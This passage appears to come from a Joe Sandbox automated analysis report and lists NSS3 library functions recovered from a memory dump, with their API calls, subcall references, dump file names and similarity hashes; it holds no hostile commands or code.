PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C76F165,6C83219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C7700A6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction ID: 20700a3b96621df3159098ccd63bfce196c9b94ff8ff6748d06a9864e888291c
Opcode Fuzzy Hash: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction Fuzzy Hash: 0B51F771E042599FDF208E59CA887AEB7B5FB49328F690139DD55A7B40D732AC00CBE0

Function 6C72DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C72DF37
EnterCriticalSection.KERNEL32(?), ref: 6C72DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C72E02B
PR_Unlock.NSS3(?), ref: 6C72E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C72E090
PR_Unlock.NSS3(?), ref: 6C72E0AF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction ID: badd53dd0af463370786f41a8633bf9ee45d62685f8b439b6a4ac6fca220c869
Opcode Fuzzy Hash: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction Fuzzy Hash: DC51D2315006049FDB309F25CA48B66B3B5FF55319F204538E8AA47B91D739E849CBD2

Function 6C72BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72BD1E

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C72BD8C

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C72BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C72BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE3A

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE52

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72BE61

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction ID: 11ec0c3baadfca77d048f58c219336514d1c718f25e7d798351de0c640296a6a
Opcode Fuzzy Hash: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction Fuzzy Hash: 1A41E2B6E00210AFC710CF28DE89AAA77E8EB49718F144168F94997711E735FD14CB92

Function 6C74AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C74AB3E,?,?,?), ref: 6C74AC35

Part of subcall function 6C72CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C72CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C74AB3E,?,?,?), ref: 6C74AC55

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E,?,?), ref: 6C74AC70

Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E33C
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E350
Part of subcall function 6C72E300: PR_Unlock.NSS3(?), ref: 6C72E5BC
Part of subcall function 6C72E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C72E5CA
Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E5F2
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E606
Part of subcall function 6C72E300: PORT_Alloc_Util.NSS3(?), ref: 6C72E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C74AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E), ref: 6C74ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C74AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C74AD2B

Part of subcall function 6C72F360: TlsGetValue.KERNEL32(00000000,?,6C74A904,?), ref: 6C72F38B
Part of subcall function 6C72F360: EnterCriticalSection.KERNEL32(?,?,?,6C74A904,?), ref: 6C72F3A0
Part of subcall function 6C72F360: PR_Unlock.NSS3(?,?,?,?,6C74A904,?), ref: 6C72F3D3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction ID: 27b1e4b7d8ca9aee544729b6e4f4b12089f870e9f45213e812cbf0652b63da14
Opcode Fuzzy Hash: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction Fuzzy Hash: 23313BB1E002065FEB008F69CD499AF7776EF84728B18C138E8159BB41EB31DD1587A1

Function 6C728C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C728C7C

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C728CB0
TlsGetValue.KERNEL32 ref: 6C728CD1
EnterCriticalSection.KERNEL32(?), ref: 6C728CE5
PR_Unlock.NSS3(?), ref: 6C728D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C728D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C728D93

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction ID: fbab5b84b39a18ccb87fb130d2b0edb5e3e24b499933c046e4013404dd7480b6
Opcode Fuzzy Hash: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction Fuzzy Hash: DD316A72E00201AFE7109F68CE497EA77B0BF59318F140236EA1967B90D776A958CBC1

Function 6C769D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C7613F0
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,?,?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C761445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C769C5B), ref: 6C769DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C769C5B), ref: 6C769DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C769C5B), ref: 6C769E91

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C761560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C75FAAB,00000000), ref: 6C76157E
Part of subcall function 6C761560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C75FAAB,00000000), ref: 6C761592
Part of subcall function 6C761560: memset.VCRUNTIME140(?,00000000,?), ref: 6C761600
Part of subcall function 6C761560: PL_ArenaRelease.NSS3(?,?), ref: 6C761620
Part of subcall function 6C761560: PR_Unlock.NSS3(?), ref: 6C761639

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 23c55c91adbb6ba8cb2d8ffe2acc72982d6332429b1ecde802b93a8614411b74
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 634182B5501606AFE740DF16DA48B92BBA5FF55358F148128DC188BFA1EB72E834CF90

Function 6C72DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C72DDEC

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

PK11_DigestBegin.NSS3(00000000), ref: 6C72DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C72DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C72DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C72DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DECC

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction ID: 471a5b1d7b66507b164517ce6f78fc1df203dd3f93f6b0855c4a5b6c855a4005
Opcode Fuzzy Hash: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction Fuzzy Hash: 3931E7B2D002146BEB10AE65AE49BBB76ACEF74708F050135ED09A7701FB35D918C6E2

Function 6C707E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707E48

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C707E5B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707E7B

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82925C,?), ref: 6C707E92

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707EFA

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction ID: 51ee31402005c78d5055b7e6a640327b2320434a85addd7eb3ade7844d41bc44
Opcode Fuzzy Hash: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction Fuzzy Hash: A8317EF2B012159BEB108A699E48B5B73ECAF44658F194934ED59EBB41E730FC04C7E1

Function 6C75DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C75DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75DCAD

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction ID: c3ef836c5fdf1e2557be9fbaae9ace1555f7c9b5d544730e9773e458b7395726
Opcode Fuzzy Hash: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction Fuzzy Hash: 6E31AFB5A002019FE750CF1DDA88B92B7F8AF25358F548438E94CCBB01EB71E954CBA5

Function 6C722E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C71E728,?,00000038,?,?,00000000), ref: 6C722E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C722E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C722E9E
PR_Unlock.NSS3(?), ref: 6C722EAB
PR_Unlock.NSS3(?), ref: 6C722F0D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction ID: aa1d6fe88d4f649e8d6e1e991c01fd355faa162b22cbb90ced9ced1d77de0124
Opcode Fuzzy Hash: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction Fuzzy Hash: 023126B5E00106ABEB115F28DD488B6B779FF0526CB088174EC0887A12EB31ED65CBD1

Function 6C741EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741ECB

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741EF1
EnterCriticalSection.KERNEL32(?), ref: 6C741F01
PR_SetError.NSS3(00000000,00000000), ref: 6C741F39

Part of subcall function 6C74FE20: TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
Part of subcall function 6C74FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F

PR_Unlock.NSS3(?), ref: 6C741F67

Strings

S&tl, xrefs: 6C741EA0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
